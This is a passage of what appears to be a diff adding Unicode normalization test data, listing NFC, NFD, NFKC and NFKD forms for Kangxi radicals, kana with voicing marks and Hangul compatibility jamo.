+{ source: [0x2F84], NFC: [0x2F84], NFD: [0x2F84], NFKC: [0x81F3], NFKD: [0x81F3] },
+{ source: [0x2F85], NFC: [0x2F85], NFD: [0x2F85], NFKC: [0x81FC], NFKD: [0x81FC] },
+{ source: [0x2F86], NFC: [0x2F86], NFD: [0x2F86], NFKC: [0x820C], NFKD: [0x820C] },
+{ source: [0x2F87], NFC: [0x2F87], NFD: [0x2F87], NFKC: [0x821B], NFKD: [0x821B] },
+{ source: [0x2F88], NFC: [0x2F88], NFD: [0x2F88], NFKC: [0x821F], NFKD: [0x821F] },
+{ source: [0x2F89], NFC: [0x2F89], NFD: [0x2F89], NFKC: [0x826E], NFKD: [0x826E] },
+{ source: [0x2F8A], NFC: [0x2F8A], NFD: [0x2F8A], NFKC: [0x8272], NFKD: [0x8272] },
+{ source: [0x2F8B], NFC: [0x2F8B], NFD: [0x2F8B], NFKC: [0x8278], NFKD: [0x8278] },
+{ source: [0x2F8C], NFC: [0x2F8C], NFD: [0x2F8C], NFKC: [0x864D], NFKD: [0x864D] },
+{ source: [0x2F8D], NFC: [0x2F8D], NFD: [0x2F8D], NFKC: [0x866B], NFKD: [0x866B] },
+{ source: [0x2F8E], NFC: [0x2F8E], NFD: [0x2F8E], NFKC: [0x8840], NFKD: [0x8840] },
+{ source: [0x2F8F], NFC: [0x2F8F], NFD: [0x2F8F], NFKC: [0x884C], NFKD: [0x884C] },
+{ source: [0x2F90], NFC: [0x2F90], NFD: [0x2F90], NFKC: [0x8863], NFKD: [0x8863] },
+{ source: [0x2F91], NFC: [0x2F91], NFD: [0x2F91], NFKC: [0x897E], NFKD: [0x897E] },
+{ source: [0x2F92], NFC: [0x2F92], NFD: [0x2F92], NFKC: [0x898B], NFKD: [0x898B] },
+{ source: [0x2F93], NFC: [0x2F93], NFD: [0x2F93], NFKC: [0x89D2], NFKD: [0x89D2] },
+{ source: [0x2F94], NFC: [0x2F94], NFD: [0x2F94], NFKC: [0x8A00], NFKD: [0x8A00] },
+{ source: [0x2F95], NFC: [0x2F95], NFD: [0x2F95], NFKC: [0x8C37], NFKD: [0x8C37] },
+{ source: [0x2F96], NFC: [0x2F96], NFD: [0x2F96], NFKC: [0x8C46], NFKD: [0x8C46] },
+{ source: [0x2F97], NFC: [0x2F97], NFD: [0x2F97], NFKC: [0x8C55], NFKD: [0x8C55] },
+{ source: [0x2F98], NFC: [0x2F98], NFD: [0x2F98], NFKC: [0x8C78], NFKD: [0x8C78] },
+{ source: [0x2F99], NFC: [0x2F99], NFD: [0x2F99], NFKC: [0x8C9D], NFKD: [0x8C9D] },
+{ source: [0x2F9A], NFC: [0x2F9A], NFD: [0x2F9A], NFKC: [0x8D64], NFKD: [0x8D64] },
+{ source: [0x2F9B], NFC: [0x2F9B], NFD: [0x2F9B], NFKC: [0x8D70], NFKD: [0x8D70] },
+{ source: [0x2F9C], NFC: [0x2F9C], NFD: [0x2F9C], NFKC: [0x8DB3], NFKD: [0x8DB3] },
+{ source: [0x2F9D], NFC: [0x2F9D], NFD: [0x2F9D], NFKC: [0x8EAB], NFKD: [0x8EAB] },
+{ source: [0x2F9E], NFC: [0x2F9E], NFD: [0x2F9E], NFKC: [0x8ECA], NFKD: [0x8ECA] },
+{ source: [0x2F9F], NFC: [0x2F9F], NFD: [0x2F9F], NFKC: [0x8F9B], NFKD: [0x8F9B] },
+{ source: [0x2FA0], NFC: [0x2FA0], NFD: [0x2FA0], NFKC: [0x8FB0], NFKD: [0x8FB0] },
+{ source: [0x2FA1], NFC: [0x2FA1], NFD: [0x2FA1], NFKC: [0x8FB5], NFKD: [0x8FB5] },
+{ source: [0x2FA2], NFC: [0x2FA2], NFD: [0x2FA2], NFKC: [0x9091], NFKD: [0x9091] },
+{ source: [0x2FA3], NFC: [0x2FA3], NFD: [0x2FA3], NFKC: [0x9149], NFKD: [0x9149] },
+{ source: [0x2FA4], NFC: [0x2FA4], NFD: [0x2FA4], NFKC: [0x91C6], NFKD: [0x91C6] },
+{ source: [0x2FA5], NFC: [0x2FA5], NFD: [0x2FA5], NFKC: [0x91CC], NFKD: [0x91CC] },
+{ source: [0x2FA6], NFC: [0x2FA6], NFD: [0x2FA6], NFKC: [0x91D1], NFKD: [0x91D1] },
+{ source: [0x2FA7], NFC: [0x2FA7], NFD: [0x2FA7], NFKC: [0x9577], NFKD: [0x9577] },
+{ source: [0x2FA8], NFC: [0x2FA8], NFD: [0x2FA8], NFKC: [0x9580], NFKD: [0x9580] },
+{ source: [0x2FA9], NFC: [0x2FA9], NFD: [0x2FA9], NFKC: [0x961C], NFKD: [0x961C] },
+{ source: [0x2FAA], NFC: [0x2FAA], NFD: [0x2FAA], NFKC: [0x96B6], NFKD: [0x96B6] },
+{ source: [0x2FAB], NFC: [0x2FAB], NFD: [0x2FAB], NFKC: [0x96B9], NFKD: [0x96B9] },
+{ source: [0x2FAC], NFC: [0x2FAC], NFD: [0x2FAC], NFKC: [0x96E8], NFKD: [0x96E8] },
+{ source: [0x2FAD], NFC: [0x2FAD], NFD: [0x2FAD], NFKC: [0x9751], NFKD: [0x9751] },
+{ source: [0x2FAE], NFC: [0x2FAE], NFD: [0x2FAE], NFKC: [0x975E], NFKD: [0x975E] },
+{ source: [0x2FAF], NFC: [0x2FAF], NFD: [0x2FAF], NFKC: [0x9762], NFKD: [0x9762] },
+{ source: [0x2FB0], NFC: [0x2FB0], NFD: [0x2FB0], NFKC: [0x9769], NFKD: [0x9769] },
+{ source: [0x2FB1], NFC: [0x2FB1], NFD: [0x2FB1], NFKC: [0x97CB], NFKD: [0x97CB] },
+{ source: [0x2FB2], NFC: [0x2FB2], NFD: [0x2FB2], NFKC: [0x97ED], NFKD: [0x97ED] },
+{ source: [0x2FB3], NFC: [0x2FB3], NFD: [0x2FB3], NFKC: [0x97F3], NFKD: [0x97F3] },
+{ source: [0x2FB4], NFC: [0x2FB4], NFD: [0x2FB4], NFKC: [0x9801], NFKD: [0x9801] },
+{ source: [0x2FB5], NFC: [0x2FB5], NFD: [0x2FB5], NFKC: [0x98A8], NFKD: [0x98A8] },
+{ source: [0x2FB6], NFC: [0x2FB6], NFD: [0x2FB6], NFKC: [0x98DB], NFKD: [0x98DB] },
+{ source: [0x2FB7], NFC: [0x2FB7], NFD: [0x2FB7], NFKC: [0x98DF], NFKD: [0x98DF] },
+{ source: [0x2FB8], NFC: [0x2FB8], NFD: [0x2FB8], NFKC: [0x9996], NFKD: [0x9996] },
+{ source: [0x2FB9], NFC: [0x2FB9], NFD: [0x2FB9], NFKC: [0x9999], NFKD: [0x9999] },
+{ source: [0x2FBA], NFC: [0x2FBA], NFD: [0x2FBA], NFKC: [0x99AC], NFKD: [0x99AC] },
+{ source: [0x2FBB], NFC: [0x2FBB], NFD: [0x2FBB], NFKC: [0x9AA8], NFKD: [0x9AA8] },
+{ source: [0x2FBC], NFC: [0x2FBC], NFD: [0x2FBC], NFKC: [0x9AD8], NFKD: [0x9AD8] },
+{ source: [0x2FBD], NFC: [0x2FBD], NFD: [0x2FBD], NFKC: [0x9ADF], NFKD: [0x9ADF] },
+{ source: [0x2FBE], NFC: [0x2FBE], NFD: [0x2FBE], NFKC: [0x9B25], NFKD: [0x9B25] },
+{ source: [0x2FBF], NFC: [0x2FBF], NFD: [0x2FBF], NFKC: [0x9B2F], NFKD: [0x9B2F] },
+{ source: [0x2FC0], NFC: [0x2FC0], NFD: [0x2FC0], NFKC: [0x9B32], NFKD: [0x9B32] },
+{ source: [0x2FC1], NFC: [0x2FC1], NFD: [0x2FC1], NFKC: [0x9B3C], NFKD: [0x9B3C] },
+{ source: [0x2FC2], NFC: [0x2FC2], NFD: [0x2FC2], NFKC: [0x9B5A], NFKD: [0x9B5A] },
+{ source: [0x2FC3], NFC: [0x2FC3], NFD: [0x2FC3], NFKC: [0x9CE5], NFKD: [0x9CE5] },
+{ source: [0x2FC4], NFC: [0x2FC4], NFD: [0x2FC4], NFKC: [0x9E75], NFKD: [0x9E75] },
+{ source: [0x2FC5], NFC: [0x2FC5], NFD: [0x2FC5], NFKC: [0x9E7F], NFKD: [0x9E7F] },
+{ source: [0x2FC6], NFC: [0x2FC6], NFD: [0x2FC6], NFKC: [0x9EA5], NFKD: [0x9EA5] },
+{ source: [0x2FC7], NFC: [0x2FC7], NFD: [0x2FC7], NFKC: [0x9EBB], NFKD: [0x9EBB] },
+{ source: [0x2FC8], NFC: [0x2FC8], NFD: [0x2FC8], NFKC: [0x9EC3], NFKD: [0x9EC3] },
+{ source: [0x2FC9], NFC: [0x2FC9], NFD: [0x2FC9], NFKC: [0x9ECD], NFKD: [0x9ECD] },
+{ source: [0x2FCA], NFC: [0x2FCA], NFD: [0x2FCA], NFKC: [0x9ED1], NFKD: [0x9ED1] },
+{ source: [0x2FCB], NFC: [0x2FCB], NFD: [0x2FCB], NFKC: [0x9EF9], NFKD: [0x9EF9] },
+{ source: [0x2FCC], NFC: [0x2FCC], NFD: [0x2FCC], NFKC: [0x9EFD], NFKD: [0x9EFD] },
+{ source: [0x2FCD], NFC: [0x2FCD], NFD: [0x2FCD], NFKC: [0x9F0E], NFKD: [0x9F0E] },
+{ source: [0x2FCE], NFC: [0x2FCE], NFD: [0x2FCE], NFKC: [0x9F13], NFKD: [0x9F13] },
+{ source: [0x2FCF], NFC: [0x2FCF], NFD: [0x2FCF], NFKC: [0x9F20], NFKD: [0x9F20] },
+{ source: [0x2FD0], NFC: [0x2FD0], NFD: [0x2FD0], NFKC: [0x9F3B], NFKD: [0x9F3B] },
+{ source: [0x2FD1], NFC: [0x2FD1], NFD: [0x2FD1], NFKC: [0x9F4A], NFKD: [0x9F4A] },
+{ source: [0x2FD2], NFC: [0x2FD2], NFD: [0x2FD2], NFKC: [0x9F52], NFKD: [0x9F52] },
+{ source: [0x2FD3], NFC: [0x2FD3], NFD: [0x2FD3], NFKC: [0x9F8D], NFKD: [0x9F8D] },
+{ source: [0x2FD4], NFC: [0x2FD4], NFD: [0x2FD4], NFKC: [0x9F9C], NFKD: [0x9F9C] },
+{ source: [0x2FD5], NFC: [0x2FD5], NFD: [0x2FD5], NFKC: [0x9FA0], NFKD: [0x9FA0] },
+{ source: [0x3000], NFC: [0x3000], NFD: [0x3000], NFKC: [0x0020], NFKD: [0x0020] },
+{ source: [0x3036], NFC: [0x3036], NFD: [0x3036], NFKC: [0x3012], NFKD: [0x3012] },
+{ source: [0x3038], NFC: [0x3038], NFD: [0x3038], NFKC: [0x5341], NFKD: [0x5341] },
+{ source: [0x3039], NFC: [0x3039], NFD: [0x3039], NFKC: [0x5344], NFKD: [0x5344] },
+{ source: [0x303A], NFC: [0x303A], NFD: [0x303A], NFKC: [0x5345], NFKD: [0x5345] },
+{ source: [0x304C], NFC: [0x304C], NFD: [0x304B, 0x3099], NFKC: [0x304C], NFKD: [0x304B, 0x3099] },
+{ source: [0x304E], NFC: [0x304E], NFD: [0x304D, 0x3099], NFKC: [0x304E], NFKD: [0x304D, 0x3099] },
+{ source: [0x3050], NFC: [0x3050], NFD: [0x304F, 0x3099], NFKC: [0x3050], NFKD: [0x304F, 0x3099] },
+{ source: [0x3052], NFC: [0x3052], NFD: [0x3051, 0x3099], NFKC: [0x3052], NFKD: [0x3051, 0x3099] },
+{ source: [0x3054], NFC: [0x3054], NFD: [0x3053, 0x3099], NFKC: [0x3054], NFKD: [0x3053, 0x3099] },
+{ source: [0x3056], NFC: [0x3056], NFD: [0x3055, 0x3099], NFKC: [0x3056], NFKD: [0x3055, 0x3099] },
+{ source: [0x3058], NFC: [0x3058], NFD: [0x3057, 0x3099], NFKC: [0x3058], NFKD: [0x3057, 0x3099] },
+{ source: [0x305A], NFC: [0x305A], NFD: [0x3059, 0x3099], NFKC: [0x305A], NFKD: [0x3059, 0x3099] },
+{ source: [0x305C], NFC: [0x305C], NFD: [0x305B, 0x3099], NFKC: [0x305C], NFKD: [0x305B, 0x3099] },
+{ source: [0x305E], NFC: [0x305E], NFD: [0x305D, 0x3099], NFKC: [0x305E], NFKD: [0x305D, 0x3099] },
+{ source: [0x3060], NFC: [0x3060], NFD: [0x305F, 0x3099], NFKC: [0x3060], NFKD: [0x305F, 0x3099] },
+{ source: [0x3062], NFC: [0x3062], NFD: [0x3061, 0x3099], NFKC: [0x3062], NFKD: [0x3061, 0x3099] },
+{ source: [0x3065], NFC: [0x3065], NFD: [0x3064, 0x3099], NFKC: [0x3065], NFKD: [0x3064, 0x3099] },
+{ source: [0x3067], NFC: [0x3067], NFD: [0x3066, 0x3099], NFKC: [0x3067], NFKD: [0x3066, 0x3099] },
+{ source: [0x3069], NFC: [0x3069], NFD: [0x3068, 0x3099], NFKC: [0x3069], NFKD: [0x3068, 0x3099] },
+{ source: [0x3070], NFC: [0x3070], NFD: [0x306F, 0x3099], NFKC: [0x3070], NFKD: [0x306F, 0x3099] },
+{ source: [0x3071], NFC: [0x3071], NFD: [0x306F, 0x309A], NFKC: [0x3071], NFKD: [0x306F, 0x309A] },
+{ source: [0x3073], NFC: [0x3073], NFD: [0x3072, 0x3099], NFKC: [0x3073], NFKD: [0x3072, 0x3099] },
+{ source: [0x3074], NFC: [0x3074], NFD: [0x3072, 0x309A], NFKC: [0x3074], NFKD: [0x3072, 0x309A] },
+{ source: [0x3076], NFC: [0x3076], NFD: [0x3075, 0x3099], NFKC: [0x3076], NFKD: [0x3075, 0x3099] },
+{ source: [0x3077], NFC: [0x3077], NFD: [0x3075, 0x309A], NFKC: [0x3077], NFKD: [0x3075, 0x309A] },
+{ source: [0x3079], NFC: [0x3079], NFD: [0x3078, 0x3099], NFKC: [0x3079], NFKD: [0x3078, 0x3099] },
+{ source: [0x307A], NFC: [0x307A], NFD: [0x3078, 0x309A], NFKC: [0x307A], NFKD: [0x3078, 0x309A] },
+{ source: [0x307C], NFC: [0x307C], NFD: [0x307B, 0x3099], NFKC: [0x307C], NFKD: [0x307B, 0x3099] },
+{ source: [0x307D], NFC: [0x307D], NFD: [0x307B, 0x309A], NFKC: [0x307D], NFKD: [0x307B, 0x309A] },
+{ source: [0x3094], NFC: [0x3094], NFD: [0x3046, 0x3099], NFKC: [0x3094], NFKD: [0x3046, 0x3099] },
+{ source: [0x309B], NFC: [0x309B], NFD: [0x309B], NFKC: [0x0020, 0x3099], NFKD: [0x0020, 0x3099] },
+{ source: [0x309C], NFC: [0x309C], NFD: [0x309C], NFKC: [0x0020, 0x309A], NFKD: [0x0020, 0x309A] },
+{ source: [0x309E], NFC: [0x309E], NFD: [0x309D, 0x3099], NFKC: [0x309E], NFKD: [0x309D, 0x3099] },
+{ source: [0x309F], NFC: [0x309F], NFD: [0x309F], NFKC: [0x3088, 0x308A], NFKD: [0x3088, 0x308A] },
+{ source: [0x30AC], NFC: [0x30AC], NFD: [0x30AB, 0x3099], NFKC: [0x30AC], NFKD: [0x30AB, 0x3099] },
+{ source: [0x30AE], NFC: [0x30AE], NFD: [0x30AD, 0x3099], NFKC: [0x30AE], NFKD: [0x30AD, 0x3099] },
+{ source: [0x30B0], NFC: [0x30B0], NFD: [0x30AF, 0x3099], NFKC: [0x30B0], NFKD: [0x30AF, 0x3099] },
+{ source: [0x30B2], NFC: [0x30B2], NFD: [0x30B1, 0x3099], NFKC: [0x30B2], NFKD: [0x30B1, 0x3099] },
+{ source: [0x30B4], NFC: [0x30B4], NFD: [0x30B3, 0x3099], NFKC: [0x30B4], NFKD: [0x30B3, 0x3099] },
+{ source: [0x30B6], NFC: [0x30B6], NFD: [0x30B5, 0x3099], NFKC: [0x30B6], NFKD: [0x30B5, 0x3099] },
+{ source: [0x30B8], NFC: [0x30B8], NFD: [0x30B7, 0x3099], NFKC: [0x30B8], NFKD: [0x30B7, 0x3099] },
+{ source: [0x30BA], NFC: [0x30BA], NFD: [0x30B9, 0x3099], NFKC: [0x30BA], NFKD: [0x30B9, 0x3099] },
+{ source: [0x30BC], NFC: [0x30BC], NFD: [0x30BB, 0x3099], NFKC: [0x30BC], NFKD: [0x30BB, 0x3099] },
+{ source: [0x30BE], NFC: [0x30BE], NFD: [0x30BD, 0x3099], NFKC: [0x30BE], NFKD: [0x30BD, 0x3099] },
+{ source: [0x30C0], NFC: [0x30C0], NFD: [0x30BF, 0x3099], NFKC: [0x30C0], NFKD: [0x30BF, 0x3099] },
+{ source: [0x30C2], NFC: [0x30C2], NFD: [0x30C1, 0x3099], NFKC: [0x30C2], NFKD: [0x30C1, 0x3099] },
+{ source: [0x30C5], NFC: [0x30C5], NFD: [0x30C4, 0x3099], NFKC: [0x30C5], NFKD: [0x30C4, 0x3099] },
+{ source: [0x30C7], NFC: [0x30C7], NFD: [0x30C6, 0x3099], NFKC: [0x30C7], NFKD: [0x30C6, 0x3099] },
+{ source: [0x30C9], NFC: [0x30C9], NFD: [0x30C8, 0x3099], NFKC: [0x30C9], NFKD: [0x30C8, 0x3099] },
+{ source: [0x30D0], NFC: [0x30D0], NFD: [0x30CF, 0x3099], NFKC: [0x30D0], NFKD: [0x30CF, 0x3099] },
+{ source: [0x30D1], NFC: [0x30D1], NFD: [0x30CF, 0x309A], NFKC: [0x30D1], NFKD: [0x30CF, 0x309A] },
+{ source: [0x30D3], NFC: [0x30D3], NFD: [0x30D2, 0x3099], NFKC: [0x30D3], NFKD: [0x30D2, 0x3099] },
+{ source: [0x30D4], NFC: [0x30D4], NFD: [0x30D2, 0x309A], NFKC: [0x30D4], NFKD: [0x30D2, 0x309A] },
+{ source: [0x30D6], NFC: [0x30D6], NFD: [0x30D5, 0x3099], NFKC: [0x30D6], NFKD: [0x30D5, 0x3099] },
+{ source: [0x30D7], NFC: [0x30D7], NFD: [0x30D5, 0x309A], NFKC: [0x30D7], NFKD: [0x30D5, 0x309A] },
+{ source: [0x30D9], NFC: [0x30D9], NFD: [0x30D8, 0x3099], NFKC: [0x30D9], NFKD: [0x30D8, 0x3099] },
+{ source: [0x30DA], NFC: [0x30DA], NFD: [0x30D8, 0x309A], NFKC: [0x30DA], NFKD: [0x30D8, 0x309A] },
+{ source: [0x30DC], NFC: [0x30DC], NFD: [0x30DB, 0x3099], NFKC: [0x30DC], NFKD: [0x30DB, 0x3099] },
+{ source: [0x30DD], NFC: [0x30DD], NFD: [0x30DB, 0x309A], NFKC: [0x30DD], NFKD: [0x30DB, 0x309A] },
+{ source: [0x30F4], NFC: [0x30F4], NFD: [0x30A6, 0x3099], NFKC: [0x30F4], NFKD: [0x30A6, 0x3099] },
+{ source: [0x30F7], NFC: [0x30F7], NFD: [0x30EF, 0x3099], NFKC: [0x30F7], NFKD: [0x30EF, 0x3099] },
+{ source: [0x30F8], NFC: [0x30F8], NFD: [0x30F0, 0x3099], NFKC: [0x30F8], NFKD: [0x30F0, 0x3099] },
+{ source: [0x30F9], NFC: [0x30F9], NFD: [0x30F1, 0x3099], NFKC: [0x30F9], NFKD: [0x30F1, 0x3099] },
+{ source: [0x30FA], NFC: [0x30FA], NFD: [0x30F2, 0x3099], NFKC: [0x30FA], NFKD: [0x30F2, 0x3099] },
+{ source: [0x30FE], NFC: [0x30FE], NFD: [0x30FD, 0x3099], NFKC: [0x30FE], NFKD: [0x30FD, 0x3099] },
+{ source: [0x30FF], NFC: [0x30FF], NFD: [0x30FF], NFKC: [0x30B3, 0x30C8], NFKD: [0x30B3, 0x30C8] },
+{ source: [0x3131], NFC: [0x3131], NFD: [0x3131], NFKC: [0x1100], NFKD: [0x1100] },
+{ source: [0x3132], NFC: [0x3132], NFD: [0x3132], NFKC: [0x1101], NFKD: [0x1101] },
+{ source: [0x3133], NFC: [0x3133], NFD: [0x3133], NFKC: [0x11AA], NFKD: [0x11AA] },
+{ source: [0x3134], NFC: [0x3134], NFD: [0x3134], NFKC: [0x1102], NFKD: [0x1102] },
+{ source: [0x3135], NFC: [0x3135], NFD: [0x3135], NFKC: [0x11AC], NFKD: [0x11AC] },
+{ source: [0x3136], NFC: [0x3136], NFD: [0x3136], NFKC: [0x11AD], NFKD: [0x11AD] },
+{ source: [0x3137], NFC: [0x3137], NFD: [0x3137], NFKC: [0x1103], NFKD: [0x1103] },
+{ source: [0x3138], NFC: [0x3138], NFD: [0x3138], NFKC: [0x1104], NFKD: [0x1104] },
+{ source: [0x3139], NFC: [0x3139], NFD: [0x3139], NFKC: [0x1105], NFKD: [0x1105] },
+{ source: [0x313A], NFC: [0x313A], NFD: [0x313A], NFKC: [0x11B0], NFKD: [0x11B0] },
+{ source: [0x313B], NFC: [0x313B], NFD: [0x313B], NFKC: [0x11B1], NFKD: [0x11B1] },
+{ source: [0x313C], NFC: [0x313C], NFD: [0x313C], NFKC: [0x11B2], NFKD: [0x11B2] },
+{ source: [0x313D], NFC: [0x313D], NFD: [0x313D], NFKC: [0x11B3], NFKD: [0x11B3] },
+{ source: [0x313E], NFC: [0x313E], NFD: [0x313E], NFKC: [0x11B4], NFKD: [0x11B4] },
+{ source: [0x313F], NFC: [0x313F], NFD: [0x313F], NFKC: [0x11B5], NFKD: [0x11B5] },
+{ source: [0x3140], NFC: [0x3140], NFD: [0x3140], NFKC: [0x111A], NFKD: [0x111A] },
+{ source: [0x3141], NFC: [0x3141], NFD: [0x3141], NFKC: [0x1106], NFKD: [0x1106] },
+{ source: [0x3142], NFC: [0x3142], NFD: [0x3142], NFKC: [0x1107], NFKD: [0x1107] },
+{ source: [0x3143], NFC: [0x3143], NFD: [0x3143], NFKC: [0x1108], NFKD: [0x1108] },
+{ source: [0x3144], NFC: [0x3144], NFD: [0x3144], NFKC: [0x1121], NFKD: [0x1121] },
+{ source: [0x3145], NFC: [0x3145], NFD: [0x3145], NFKC: [0x1109], NFKD: [0x1109] },
+{ source: [0x3146], NFC: [0x3146], NFD: [0x3146], NFKC: [0x110A], NFKD: [0x110A] },
+{ source: [0x3147], NFC: [0x3147], NFD: [0x3147], NFKC: [0x110B], NFKD: [0x110B] },
+{ source: [0x3148], NFC: [0x3148], NFD: [0x3148], NFKC: [0x110C], NFKD: [0x110C] },
+{ source: [0x3149], NFC: [0x3149], NFD: [0x3149], NFKC: [0x110D], NFKD: [0x110D] },
+{ source: [0x314A], NFC: [0x314A], NFD: [0x314A], NFKC: [0x110E], NFKD: [0x110E] },
+{ source: [0x314B], NFC: [0x314B], NFD: [0x314B], NFKC: [0x110F], NFKD: [0x110F] },
+{ source: [0x314C], NFC: [0x314C], NFD: [0x314C], NFKC: [0x1110], NFKD: [0x1110] },
+{ source: [0x314D], NFC: [0x314D], NFD: [0x314D], NFKC: [0x1111], NFKD: [0x1111] },
+{ source: [0x314E], NFC: [0x314E], NFD: [0x314E], NFKC: [0x1112], NFKD: [0x1112] },
+{ source: [0x314F], NFC: [0x314F], NFD: [0x314F], NFKC: [0x1161], NFKD: [0x1161] },
+{ source: [0x3150], NFC: [0x3150], NFD: [0x3150], NFKC: [0x1162], NFKD: [0x1162] },
+{ source: [0x3151], NFC: [0x3151], NFD: [0x3151], NFKC: [0x1163], NFKD: [0x1163] },
+{ source: [0x3152], NFC: [0x3152], NFD: [0x3152], NFKC: [0x1164], NFKD: [0x1164] },
+{ source: [0x3153], NFC: [0x3153], NFD: [0x3153], NFKC: [0x1165], NFKD: [0x1165] },
+{ source: [0x3154], NFC: [0x3154], NFD: [0x3154], NFKC: [0x1166], NFKD: [0x1166] },
+{ source: [0x3155], NFC: [0x3155], NFD: [0x3155], NFKC: [0x1167], NFKD: [0x1167] },
+{ source: [0x3156], NFC: [0x3156], NFD: [0x3156], NFKC: [0x1168], NFKD: [0x1168] },
+{ source: [0x3157], NFC: [0x3157], NFD: [0x3157], NFKC: [0x1169], NFKD: [0x1169] },
+{ source: [0x3158], NFC: [0x3158], NFD: [0x3158], NFKC: [0x116A], NFKD: [0x116A] },
+{ source: [0x3159], NFC: [0x3159], NFD: [0x3159], NFKC: [0x116B], NFKD: [0x116B] },
+{ source: [0x315A], NFC: [0x315A], NFD: [0x315A], NFKC: [0x116C], NFKD: [0x116C] },
+{ source: [0x315B], NFC: [0x315B], NFD: [0x315B], NFKC: [0x116D], NFKD: [0x116D] },
+{ source: [0x315C], NFC: [0x315C], NFD: [0x315C], NFKC: [0x116E], NFKD: [0x116E] },
+{ source: [0x315D], NFC: [0x315D], NFD: [0x315D], NFKC: [0x116F], NFKD: [0x116F] },
+{ source: [0x315E], NFC: [0x315E], NFD: [0x315E], NFKC: [0x1170], NFKD: [0x1170] },
+{ source: [0x315F], NFC: [0x315F], NFD: [0x315F], NFKC: [0x1171], NFKD: [0x1171] },
+{ source: [0x3160], NFC: [0x3160], NFD: [0x3160], NFKC: [0x1172], NFKD: [0x1172] },
+{ source: [0x3161], NFC: [0x3161], NFD: [0x3161], NFKC: [0x1173], NFKD: [0x1173] },
+{ source: [0x3162], NFC: [0x3162], NFD: [0x3162], NFKC: [0x1174], NFKD: [0x1174] },
+{ source: [0x3163], NFC: [0x3163], NFD: [0x3163], NFKC: [0x1175], NFKD: [0x1175] },
+{ source: [0x3164], NFC: [0x3164], NFD: [0x3164], NFKC: [0x1160], NFKD: [0x1160] },
+{ source: [0x3165], NFC: [0x3165], NFD: [0x3165], NFKC: [0x1114], NFKD: [0x1114] },
+{ source: [0x3166], NFC: [0x3166], NFD: [0x3166], NFKC: [0x1115], NFKD: [0x1115] },
+{ source: [0x3167], NFC: [0x3167], NFD: [0x3167], NFKC: [0x11C7], NFKD: [0x11C7] },
+{ source: [0x3168], NFC: [0x3168], NFD: [0x3168], NFKC: [0x11C8], NFKD: [0x11C8] },
+{ source: [0x3169], NFC: [0x3169], NFD: [0x3169], NFKC: [0x11CC], NFKD: [0x11CC] },
+{ source: [0x316A], NFC: [0x316A], NFD: [0x316A], NFKC: [0x11CE], NFKD: [0x11CE] },
+{ source: [0x316B], NFC: [0x316B], NFD: [0x316B], NFKC: [0x11D3], NFKD: [0x11D3] },
+{ source: [0x316C], NFC: [0x316C], NFD: [0x316C], NFKC: [0x11D7], NFKD: [0x11D7] },
+{ source: [0x316D], NFC: [0x316D], NFD: [0x316D], NFKC: [0x11D9], NFKD: [0x11D9] },
+{ source: [0x316E], NFC: [0x316E], NFD: [0x316E], NFKC: [0x111C], NFKD: [0x111C] },
+{ source: [0x316F], NFC: [0x316F], NFD: [0x316F], NFKC: [0x11DD], NFKD: [0x11DD] },
+{ source: [0x3170], NFC: [0x3170], NFD: [0x3170], NFKC: [0x11DF], NFKD: [0x11DF] },
+{ source: [0x3171], NFC: [0x3171], NFD: [0x3171], NFKC: [0x111D], NFKD: [0x111D] },
+{ source: [0x3172], NFC: [0x3172], NFD: [0x3172], NFKC: [0x111E], NFKD: [0x111E] },
+{ source: [0x3173], NFC: [0x3173], NFD: [0x3173], NFKC: [0x1120], NFKD: [0x1120] },
+{ source: [0x3174], NFC: [0x3174], NFD: [0x3174], NFKC: [0x1122], NFKD: [0x1122] },
+{ source: [0x3175], NFC: [0x3175], NFD: [0x3175], NFKC: [0x1123], NFKD: [0x1123] },
+{ source: [0x3176], NFC: [0x3176], NFD: [0x3176], NFKC: [0x1127], NFKD: [0x1127] },
+{ source: [0x3177], NFC: [0x3177], NFD: [0x3177], NFKC: [0x1129], NFKD: [0x1129] },
+{ source: [0x3178], NFC: [0x3178], NFD: [0x3178], NFKC: [0x112B], NFKD: [0x112B] },
+{ source: [0x3179], NFC: [0x3179], NFD: [0x3179], NFKC: [0x112C], NFKD: [0x112C] },
+{ source: [0x317A], NFC: [0x317A], NFD: [0x317A], NFKC: [0x112D], NFKD: [0x112D] },
+{ source: [0x317B], NFC: [0x317B], NFD: [0x317B], NFKC: [0x112E], NFKD: [0x112E] },
+{ source: [0x317C], NFC: [0x317C], NFD: [0x317C], NFKC: [0x112F], NFKD: [0x112F] },
+{ source: [0x317D], NFC: [0x317D], NFD: [0x317D], NFKC: [0x1132], NFKD: [0x1132] },
+{ source: [0x317E], NFC: [0x317E], NFD: [0x317E], NFKC: [0x1136], NFKD: [0x1136] },
+{ source: [0x317F], NFC: [0x317F], NFD: [0x317F], NFKC: [0x1140], NFKD: [0x1140] },
+{ source: [0x3180], NFC: [0x3180], NFD: [0x3180], NFKC: [0x1147], NFKD: [0x1147] },
+{ source: [0x3181], NFC: [0x3181], NFD: [0x3181], NFKC: [0x114C], NFKD: [0x114C] },
+{ source: [0x3182], NFC: [0x3182], NFD: [0x3182], NFKC: [0x11F1], NFKD: [0x11F1] },
+{ source: [0x3183], NFC: [0x3183], NFD: [0x3183], NFKC: [0x11F2], NFKD: [0x11F2] },
+{ source: [0x3184], NFC: [0x3184], NFD: [0x3184], NFKC: [0x1157], NFKD: [0x1157] },
+{ source: [0x3185], NFC: [0x3185], NFD: [0x3185], NFKC: [0x1158], NFKD: [0x1158] },
+{ source: [0x3186], NFC: [0x3186], NFD: [0x3186], NFKC: [0x1159], NFKD: [0x1159] },
+{ source: [0x3187], NFC: [0x3187], NFD: [0x3187], NFKC: [0x1184], NFKD: [0x1184] },
+{ source: [0x3188], NFC: [0x3188], NFD: [0x3188], NFKC: [0x1185], NFKD: [0x1185] },
+{ source: [0x3189], NFC: [0x3189], NFD: [0x3189], NFKC: [0x1188], NFKD: [0x1188] },
+{ source: [0x318A], NFC: [0x318A], NFD: [0x318A], NFKC: [0x1191], NFKD: [0x1191] },
+{ source: [0x318B], NFC: [0x318B], NFD: [0x318B], NFKC: [0x1192], NFKD: [0x1192] },
+{ source: [0x318C], NFC: [0x318C], NFD: [0x318C], NFKC: [0x1194], NFKD: [0x1194] },
+{ source: [0x318D], NFC: [0x318D], NFD: [0x318D], NFKC: [0x119E], NFKD: [0x119E] },
+{ source: [0x318E], NFC: [0x318E], NFD: [0x318E], NFKC: [0x11A1], NFKD: [0x11A1] },
+{ source: [0x3192], NFC: [0x3192], NFD: [0x3192], NFKC: [0x4E00], NFKD: [0x4E00] },
